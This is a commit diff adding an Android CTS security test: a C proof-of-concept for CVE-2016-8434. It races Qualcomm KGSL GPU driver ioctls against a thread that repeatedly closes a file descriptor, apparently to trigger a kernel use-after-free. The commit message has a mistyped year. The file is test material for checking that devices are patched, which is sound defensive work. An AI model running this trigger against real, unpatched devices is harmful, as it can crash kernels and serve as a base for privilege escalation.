Commit for some of the critical bugs in December 20016

Test: this is a test

Change-Id: I8844dd82b0a7be912166746bd330ad3e819b81e9
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
new file mode 100644
index 0000000..de88a3b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+#define KGSL_CONTEXT_SAVE_GMEM		0x00000001
+#define KGSL_CONTEXT_NO_GMEM_ALLOC	0x00000002
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SUBMIT_IB_LIST	0x00000004
+#define KGSL_CONTEXT_CTX_SWITCH		0x00000008
+#define KGSL_CONTEXT_PREAMBLE		0x00000010
+#define KGSL_CONTEXT_TRASH_STATE	0x00000020
+#define KGSL_CONTEXT_PER_CONTEXT_TS	0x00000040
+#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_END_OF_FRAME	0x00000100
+#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SYNC               0x00000400
+#define KGSL_CONTEXT_PWR_CONSTRAINT     0x00000800
+
+#define KGSL_IOC_TYPE 0x09
+struct kgsl_drawctxt_create {
+	unsigned int flags;
+	unsigned int drawctxt_id; /*output param */
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+	unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+	_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+struct kgsl_timestamp_event {
+	int type;                /* Type of event (see list below) */
+	unsigned int timestamp;  /* Timestamp to trigger event on */
+	unsigned int context_id; /* Context for the timestamp */
+	void __user *priv;	 /* Pointer to the event specific blob */
+	size_t len;              /* Size of the event specific blob */
+};
+#define IOCTL_KGSL_TIMESTAMP_EVENT \
+	_IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event)
+int g_fd = -1;
+int g_ctx_id = -1;
+int g_sync_fence_fd = -1;
+struct kgsl_timestamp_event g_event;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+void trigger_kgsl_create_drawctx() {
+    struct kgsl_drawctxt_create ctx;
+    ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
+    printf("[*] IOCTL_KGSL_DRAWCTXT_CREATE id(%d), errno = %d\n", ctx.drawctxt_id, errno);
+    g_ctx_id = ctx.drawctxt_id;
+}
+
+void trigger_kgsl_free_drawctx(int id) {
+    struct kgsl_drawctxt_destroy ctx;
+    ctx.drawctxt_id = id;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
+    //printf("[*] IOCTL_KGSL_DRAWCTXT_DESTROY, errno = %d\n", errno);
+}
+
+void trigger_kgsl_timestamp_event() {
+    
+    
+    //mprotect(event.priv, 0x1000, PROT_READ);
+    
+    ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
+    printf("[*] IOCTL_KGSL_TIMESTAMP_EVENT fd(%d), errno = %d\n", *(int*)g_event.priv, errno);
+}
+
+int open_driver() {
+    char* dev_path = "/dev/kgsl-3d0";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        close(4);
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(-19, 1);
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    trigger_kgsl_create_drawctx();
+    
+    g_event.type = 2;
+    g_event.context_id = g_ctx_id;
+    g_event.len = 4;
+    g_event.priv = malloc(0x1000);
+    g_event.timestamp = 0;
+    mprotect(g_event.priv, 0x1000, PROT_READ);
+    //printf("[*] close fd errno = %d\n", errno);
+
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    usleep(100 * 1000);
+    
+    pthread_cond_signal(&cond);
+    usleep(20);
+    while (1) {
+        trigger_kgsl_timestamp_event();
+    }
+
+    return 0;
+}